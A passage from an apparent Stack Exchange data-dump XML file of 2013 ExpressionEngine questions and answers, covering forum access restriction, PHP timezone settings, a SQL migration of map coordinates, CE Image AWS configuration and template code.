element?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-02-18T06:02:53.043" Title="Graphical asset-select for Safecracker" Tags="|safecracker|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6219" PostTypeId="2" ParentId="6218" CreationDate="2013-02-12T14:12:46.170" Score="0" Body="&lt;p&gt;I think it's probably going to be a bit more complex than that. Assets may be doing that work with JavaScript rather than just routing a selected file to a field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend opening up Firebug in Firefox or Developer Tools in Chrome or Safari, and instantiating a full-blown Assets field in your Safecracker template. You can then see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The HTML it generates for the dynamic form field&lt;/li&gt;&#xA;&lt;li&gt;The JavaScript references and any inline script it bundles into the form&lt;/li&gt;&#xA;&lt;li&gt;What happens when you actually select a file and where that's stored until the form is submitted&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll then have a sense of what you need to reproduce on your end to accomplish your goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never done this with Assets. We've done it with Matrix, where it's just a matter of adding sets of form fields with a &lt;code&gt;new&lt;/code&gt; fieldname convention. I suspect Assets is going to go a little deeper, though.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-12T14:23:57.007" LastActivityDate="2013-02-12T14:23:57.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6221" PostTypeId="2" ParentId="45" CreationDate="2013-02-12T14:32:17.320" Score="1" Body="&lt;p&gt;I documented our workflow for this in response to &quot;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/5971/293&quot;&gt;Move ExpressionEngine from development to live&lt;/a&gt;&quot;, including a link to a video of our git/MySQL steps.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-12T14:32:17.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6222" PostTypeId="2" ParentId="6215" CreationDate="2013-02-12T14:35:06.180" Score="2" Body="&lt;p&gt;Also have a look at NSM categories by EE-garage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-categories&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-02-12T14:35:06.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6223" PostTypeId="1" CreationDate="2013-02-12T14:40:50.133" Score="1" ViewCount="202" Body="&lt;p&gt;I have a client who's site has a password protected member section. There is also a forum built using the Forum Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client wants the forum to be protected like the rest of the member area as it is only for members. They do not want anyone to be able to see the forum unless they are logged into the member area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is a login form on the forum itself and you can't see any posts unless you are logged in this seems a little unnecessary but the client has requested this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="293" LastEditDate="2013-02-12T14:50:07.360" LastActivityDate="2017-01-31T11:44:31.673" Title="Restricting access to forum to logged-in members area" Tags="|forum|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6224" PostTypeId="2" ParentId="6223" CreationDate="2013-02-12T14:48:10.303" Score="0" Body="&lt;p&gt;If the link to the forum isn't made public, then no one can access it unless they're logged in, correct? Would this not suffice?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;nav&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if logged_in}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/forum&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-12T14:48:10.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6225" PostTypeId="2" ParentId="6223" CreationDate="2013-02-12T15:06:35.703" Score="1" Body="&lt;p&gt;you could also wrap the content of the forum template in a {if logged_in} statement&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-12T15:06:35.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6226" PostTypeId="2" ParentId="6215" CreationDate="2013-02-12T15:14:35.900" Score="0" Body="&lt;p&gt;I'm not sure I totally understand your question, but Low's Reorder add-on is really useful for working with categories and unique sorting options. I suspect it may help you tackle what you're describing.&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-reorder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you're not already familiar with it, his Seg2Cat add-on is definitely worth a look too. It doesn't relate to your question specifically, but it's super useful and can make certain category related tasks much, much easier:&lt;br&gt;&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-02-12T15:14:35.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6228" PostTypeId="2" ParentId="6217" CreationDate="2013-02-12T15:17:10.420" Score="2" Body="&lt;p&gt;PayPal Pro is an on-site gateway therefore you must have an SSL certificate setup and installed on your site for the data to be transferred properly and for you to be PCI compliant. You can use the PayPal Express Gateway which is an off-site gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think it is crazy that the host doesn't offer an SSL option and would recommend that you consider moving to a more modern host. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-12T15:17:10.420" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6229" PostTypeId="2" ParentId="6202" CreationDate="2013-02-12T15:38:37.290" Score="0" Body="&lt;p&gt;I found this plugin which allows me more flexibility: &lt;a href=&quot;http://devot-ee.com/add-ons/json-encode&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/json-encode&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-02-12T15:38:37.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6230" PostTypeId="1" AcceptedAnswerId="6233" CreationDate="2013-02-12T15:41:54.620" Score="1" ViewCount="47" Body="&lt;p&gt;I'm using the exp:channel:entry_form to allow users to add content to my site. A nagging bug for quite some time has been that the page the entry form is submitted on just refreshes if the form contains the text &quot;select&quot;, even in the form of a longer word like &quot;selection&quot;. It's not always consistent, some forms do go through. I'm sure it's a sql security thing but this particular constraint is too tight. I haven't been able to figure out how to solve it (and I'm quite familiar with editing system files). I could detect it in JS and warn the user against using it but I feel this would be a poor mans patch. Any advice? &lt;/p&gt;&#xA;" OwnerUserId="579" LastActivityDate="2013-02-12T16:42:40.410" Title="Page refresh on submission of entry_form with the text &quot;select&quot; in it" Tags="|forms|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6231" PostTypeId="2" ParentId="2091" CreationDate="2013-02-12T15:58:01.737" Score="1" Body="&lt;p&gt;I had a similar problem with CE Images -- some images working and others not after migrating to a remote Linux server. I turned on Template Debugging and found that the &lt;code&gt;/~user&lt;/code&gt; segment of my temporary URL was messing things up. Causing Effect has the answer to this problem in their CE Image user docs here: &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/common-solutions#base_path&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/common-solutions#base_path&lt;/a&gt;. Adding the additional lines to the config.php file fixed the base path issue for me. &lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-02-12T15:58:01.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6232" PostTypeId="2" ParentId="6223" CreationDate="2013-02-12T16:05:23.283" Score="3" Body="&lt;p&gt;I actually ended up adding an {if logged_out} to the main forum index template with a redirect to the member login page. Seems to do the trick.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-02-12T16:05:23.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6233" PostTypeId="2" ParentId="6230" CreationDate="2013-02-12T16:42:40.410" Score="2" Body="&lt;p&gt;You should be using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;Safecracker&lt;/a&gt;, where surely this bug does not exist. From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_form.html&quot; rel=&quot;nofollow&quot;&gt;docs for the Stand-Alone Entry Form&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Deprecated since version 2.1.5: This tag is deprecated in favor of SafeCracker and will be removed from future versions of ExpressionEngine. It is no longer supported.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-12T16:42:40.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6234" PostTypeId="1" CreationDate="2013-02-12T16:43:00.767" Score="0" ViewCount="181" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;courses&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; search:course_category=&quot;{embed:entry_id}&quot; search:sub_cat=&quot;{embed:subentry_id}&quot;}&#xA;Test {course_category}{entry_id}{/course_category} vs {embed:entry_id} - {sub_cat} {entry_id}{/sub_cat} vs {embed:subentry_id}&#xA;{embed=&quot;includes/.testcourse&quot; compare=&quot;{course_category}{url_title}{/course_category}&quot; page=&quot;{embed:page}&quot; subcat=&quot;{embed:subcat}&quot; subcatc=&quot;{sub_cat}{url_title}{/sub_cat}&quot; title=&quot;{name_for_menu}&quot; url=&quot;{url_title}&quot; brand=&quot;{embed:brand}&quot; {if url_title == &quot;{embed:url_title}&quot;}class=&quot;active&quot;{/if}}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, this code basically checks the category and the sub-category of the course are correct before adding them to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the bad part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test 15 vs 5 - 29 vs 9&#xA;Makaton Signing for Babies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test 15 vs 5 - 29 vs 9&#xA;Parent and Carer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DOH! Clearly they don't match, its just found them because it contains them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I figured this was just because I hadn't used exact match searching, so i changed the code to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;courses&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; search:course_category=&quot;={embed:entry_id}&quot; search:sub_cat=&quot;={embed:subentry_id}&quot;}&#xA;Test {course_category}{entry_id}{/course_category} vs {embed:entry_id} - {sub_cat}{entry_id}{/sub_cat} vs {embed:subentry_id}&#xA;{embed=&quot;includes/.testcourse&quot; compare=&quot;{course_category}{url_title}{/course_category}&quot; page=&quot;{embed:page}&quot; subcat=&quot;{embed:subcat}&quot; subcatc=&quot;{sub_cat}{url_title}{/sub_cat}&quot; title=&quot;{name_for_menu}&quot; url=&quot;{url_title}&quot; brand=&quot;{embed:brand}&quot; {if url_title == &quot;{embed:url_title}&quot;}class=&quot;active&quot;{/if}}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now no entry shows despite (more code from the previous debug):&#xA;    Test 5 vs 5 - 10 vs 10 Business Administration&#xA;    Test 5 vs 5 - 10 vs 10&#xA;ChildCare&#xA;    Test 5 vs 5 - 10 vs 10&#xA;Customer Service&#xA;    Test 5 vs 5 - 10 vs 10 Hospitality and Catering&#xA;    Test 5 vs 5 - 10 vs 10&#xA;Hospitality Supervision&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can't see why they wouldn't match the correct ones on an exact match search (I've tried it with quotes around to check for nbsp or similar) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may have guessed {course_category} and {sub_cat} are playa fields.&#xA;So how do I do an exact match search vs a playa element?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="998" LastEditorUserId="55" LastEditDate="2013-02-13T15:20:44.133" LastActivityDate="2013-02-13T15:20:44.133" Title="Playa: find children of two specified parents (inclusive)" Tags="|add-on|channel-entries|playa|channel|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6235" PostTypeId="1" AcceptedAnswerId="6236" CreationDate="2013-02-12T16:59:36.433" Score="2" ViewCount="965" Body="&lt;p&gt;I am getting this error when I transferred my ee site to a new host:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: date_default_timezone_get(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'UTC' for 'GMT/0.0/no DST' instead&#xA;Filename: libraries/Core.php&#xA;Line Number: 227&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately in my current hosting solution we are not allowed to adjust the php.ini file and the date setting are set to UTC on the server. I was wondering if there was a way to set this function to be UTC without trying to grab the result from the PHP.ini form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the nature of the site and the company, I don't have the option to move to a new host or to request this change to PHP.ini.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can offer. My version of Expression Engine is v2.2.2&lt;/p&gt;&#xA;" OwnerUserId="804" LastEditorUserId="293" LastEditDate="2013-02-12T17:07:45.513" LastActivityDate="2013-02-12T17:07:45.513" Title="Hard Coding date_default_timezone_get()" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6236" PostTypeId="2" ParentId="6235" CreationDate="2013-02-12T17:07:12.610" Score="3" Body="&lt;p&gt;Can you try doing that in your .htaccess file, in the root of your site?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value date.timezone 'Europe/London'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also be able to edit that core EE file, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_default_timezone_set('Europe/London');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But doing it in .htaccess will ensure it updates the whole application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution found &lt;a href=&quot;http://www.itechtalk.com/thread469.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;a href=&quot;http://www.php.net/manual/en/timezones.php&quot; rel=&quot;nofollow&quot;&gt;Here are all the timezones&lt;/a&gt; that are supported.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-12T17:07:12.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6237" PostTypeId="1" AcceptedAnswerId="6277" CreationDate="2013-02-12T17:11:36.920" Score="2" ViewCount="206" Body="&lt;p&gt;Is it possible to edit a person's order through the backend? For example, if I need to correct a person's name or address or want to change a product in their order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="596" LastEditorUserId="150" LastEditDate="2013-02-13T11:11:20.717" LastActivityDate="2013-02-13T11:11:20.717" Title="Can I edit an existing order in Expresso Store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6238" PostTypeId="1" AcceptedAnswerId="6239" CreationDate="2013-02-12T17:33:40.040" Score="3" ViewCount="179" Body="&lt;p&gt;During a migration from 1x to 2x on an EE site, I needed to switch to current Google Maps add-ons and chose MX Google Maps (for now anyway). The site was using a geotagger that filled a Latitude field and Longitude field with data, so those are still in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since MX Google Maps uses it's own fields, I need to find a way to migrate current db data to MX Maps. But I'm hella bad at this SQL query stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the lat/lon are stored in exp_channel_data in field_id_41 (lat) and field_id_42 (lon). MX Maps stores Lat/Lon in field_id_46 as a pipe delimited set (lat|lon). It also stores data for each entry in it's own table at exp_mx_google_map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In exp_mx_google_map it has &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;point_id (a sequential number for each post)&lt;/li&gt;&#xA;&lt;li&gt;entry_id (tied to the entry itself)&lt;/li&gt;&#xA;&lt;li&gt;latitude&lt;/li&gt;&#xA;&lt;li&gt;longitude&lt;/li&gt;&#xA;&lt;li&gt;address (not using)&lt;/li&gt;&#xA;&lt;li&gt;city (not using)&lt;/li&gt;&#xA;&lt;li&gt;zipcode (not using)&lt;/li&gt;&#xA;&lt;li&gt;state (not using)&lt;/li&gt;&#xA;&lt;li&gt;field_id (in this case 46)&lt;/li&gt;&#xA;&lt;li&gt;icon&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With about 2400 entries storing lat/lon, what's the best way to go about moving this data over? Besides drinking heavily and sleeping on it, which I've tried and doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="515" LastEditorUserId="268" LastEditDate="2013-02-13T04:32:50.407" LastActivityDate="2013-02-13T13:31:23.987" Title="SQL Query Help Needed" Tags="|add-on|database|mysql|queries|mx-google-map|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6239" PostTypeId="2" ParentId="6238" CreationDate="2013-02-12T17:52:50.667" Score="4" Body="&lt;p&gt;That should be as simple as this, using the correct &lt;code&gt;channel_id&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Update exp_channel_data&#xA;set field_id_46 = concat(field_id_41, '|', field_id_42)&#xA;where channel_id = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the Maps table, it's something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Insert into exp_mx_google_map&#xA;(entry_id, lat, long, some_example_field)&#xA;Select entry_id, field_id_41, field_id_42, 'Some example value'&#xA;from exp_channel_data&#xA;where channel_id = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can fill in the other fields from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; Sorry, the &lt;code&gt;values&lt;/code&gt; line caused an error in the &lt;code&gt;Insert&lt;/code&gt; statement. I've updated that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only included a few sample fields in that. You'll want to be sure to map the rest. Note that you can pass your own values, they don't all have to be from fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As UltraBob suggested, you can use PHPMyAdmin, Sequel Pro, Navicat, etc to set the &lt;code&gt;point_id&lt;/code&gt; field to &lt;code&gt;AUTO_INCREMENT&lt;/code&gt;. You don't need to include it in your &lt;code&gt;insert&lt;/code&gt; then. It will get a value as each record is created.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-13T13:31:23.987" LastActivityDate="2013-02-13T13:31:23.987" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6240" PostTypeId="1" AcceptedAnswerId="6282" CreationDate="2013-02-12T19:05:31.403" Score="1" ViewCount="980" Body="&lt;p&gt;I recently migrated my localhost EE website to a remote Linux server. Now, a few (5 out of about 35) of my pages are returning this error (Google Chrome for Win7): &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No data received.&#xA;      Unable to load the webpage because the server sent no data.&#xA;      Here are some suggestions:&#xA;      Reload this webpage later.&#xA;      Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Firefox for Windows, the error is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The connection to the server was reset while the page was loading.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The behavior is intermittent on some of the pages. Sometimes you can refresh the page several times and get it to load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Structure 3.3.8 as well as Low Variables, CE Image, Assets, and other add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this problem before? Any ideas what's going on? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I tried deleting one of the page entries and recreating it. The new page has the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have put in a support ticket with my web host to see if they can review the server logs to find any clues.&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2013-02-13T02:34:46.890" LastActivityDate="2013-02-13T13:27:36.810" Title="Some pages giving errors and not loading after migration" Tags="|migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6241" PostTypeId="2" ParentId="6205" CreationDate="2013-02-12T19:11:54.883" Score="1" Body="&lt;p&gt;Disclosure: I'm the author of CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I have not found a good solution to automate this so that CE Image would serve local assets if AWS is offline. In order to do that, I would have to first check if the service was online with PHP, and then serve it up. While it is possible to do that, it is very slow, which is the opposite of what using AWS is trying to accomplish to begin with. :)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Enabling AWS for CE Image&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, it is quite easy to turn off AWS for CE Image. As a little bit of background, you enable AWS for CE Image in your config (the following code is from the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration#advanced_config&quot; rel=&quot;nofollow&quot;&gt;CE Image Advanced Configuration Page&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;| Amazon S3 settings and optional headers. For use with the option AWS&#xA;| extension. See the installation instructions for more details on how&#xA;| to install the extension.&#xA;*/&#xA;$config['ce_image_aws_key'] = '';&#xA;$config['ce_image_aws_secret_key'] = '';&#xA;$config['ce_image_bucket'] = '';&#xA;$config['ce_image_aws_request_headers'] = array();&#xA;$config['ce_image_aws_request_headers']['Cache-Control'] = 'max-age=' . (30 * 24 * 60 * 60);&#xA;$config['ce_image_aws_request_headers']['Expires'] = gmdate(&quot;D, d M Y H:i:s T&quot;, strtotime('+1 month') );&#xA;$config['ce_image_aws_storage_class'] = 'STANDARD';&#xA;/*&#xA;| To use cloudfront with your AWS setup, simply add your cloudfront&#xA;| subdomain (in addition to the above AWS info) to the following config&#xA;| item. If the cloudfront URL is d38tz0dcx54k85.cloudfront.net, then&#xA;| the subdomain would be 'd38tz0dcx54k85'.&#xA;*/&#xA;$config['ce_image_aws_cloudfront_url'] = '';&#xA;// END CE Image advanced config items&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disabling AWS for CE Image&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you set the 'ce_image_bucket' setting, CE Image will use Amazon S3 (or Cloudfront if you have it configured), for each image that is manipulated. If you want to disable AWS in one fell swoop, simply set the bucket setting back to an empty string, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_bucket'] = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;If you are only using S3 on certain images in your site (by specifying the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#bucket&quot; rel=&quot;nofollow&quot;&gt;bucket=&lt;/a&gt; parameter in your EE tags), or if you are using different buckets for different content, then you should be able to simply comment out the credentials in the config to turn it off:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*  &#xA;$config['ce_image_aws_key'] = '';&#xA;$config['ce_image_aws_secret_key'] = '';&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="936" LastActivityDate="2013-02-12T19:11:54.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6242" PostTypeId="2" ParentId="6234" CreationDate="2013-02-12T19:12:19.033" Score="1" Body="&lt;p&gt;This is no the way to go about filtering on a Playa field. The reason it's not working is because Playa does not store what you might expect in the custom field. A typical entry looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[9] [makaton-signing-for-babies] Makaton Signing for Babies&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is use the &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#playa%3aparents&quot; rel=&quot;nofollow&quot;&gt;Playa Parents&lt;/a&gt; and &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#playa%3achildren&quot; rel=&quot;nofollow&quot;&gt;Playa Children&lt;/a&gt; tags, which can be filtered using all standard Channel Entries parameters.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-12T19:12:19.033" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6243" PostTypeId="2" ParentId="6122" CreationDate="2013-02-12T19:30:25.350" Score="1" Body="&lt;p&gt;After fiddling around with various options my templates look like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the wrapper template&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;de&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;    {exp:seo_lite entry_id=&quot;{exp:stash:get name='entry_id'}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;meta property=&quot;og:site_name&quot; content=&quot;Café Kairo Lorraine&quot;/&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:title&quot; content=&quot;{exp:stash:get name='title'}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:image&quot; content=&quot;{exp:stash:get name='og_image'}&quot; /&amp;gt;&#xA;    {sp_global_head}&#xA;    {exp:stash:get name='color'}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;{segment_1}&quot;&amp;gt;&#xA;&#xA;{sp_admin}&#xA;&#xA;{gv_start}&#xA;&#xA;    &amp;lt;header id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;h1 id=&quot;logo&quot;&amp;gt;&amp;lt;a href=&quot;{path='/'}&quot; class=&quot;hide-text&quot;&amp;gt;...&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/header&amp;gt;   &#xA;&#xA;    &amp;lt;section id=&quot;content_container&quot;&amp;gt;&#xA;        &amp;lt;!-- main navigation --&amp;gt;&#xA;        &amp;lt;nav id=&quot;main_nav&quot;&amp;gt;     &#xA;            {exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot; status=&quot;{exp:stash:get name='status'}&quot; css_id=&quot;none&quot; parse=&quot;inward&quot;}&#xA;        &amp;lt;/nav&amp;gt;&amp;lt;!-- end main_nav --&amp;gt;&#xA;        {!-- getting the main content and replacing the needles --}&#xA;        {exp:stash:parse process=&quot;end&quot;}{exp:stash:get name='main_content'}{/exp:stash:parse}&#xA;&#xA;        {!-- edit links --}         &#xA;        {exp:stash:get name='edit_main_content' scope=&quot;user&quot;}&#xA;    &amp;lt;/section&amp;gt;&amp;lt;!-- end #content_container --&amp;gt;&#xA;&#xA;    &amp;lt;footer id=&quot;footer&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;  &#xA;    &amp;lt;/footer&amp;gt;&amp;lt;!-- end #footer --&amp;gt;&#xA;&#xA;{gv_before_end}&#xA;&#xA;{sp_end}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;  &#xA;    jQuery(function($){&#xA;        $.supersized({&#xA;            //Background image&#xA;            slides  :  [ { image : '{exp:stash:get name='background_image'}' } ]&#xA;        });&#xA;    }); 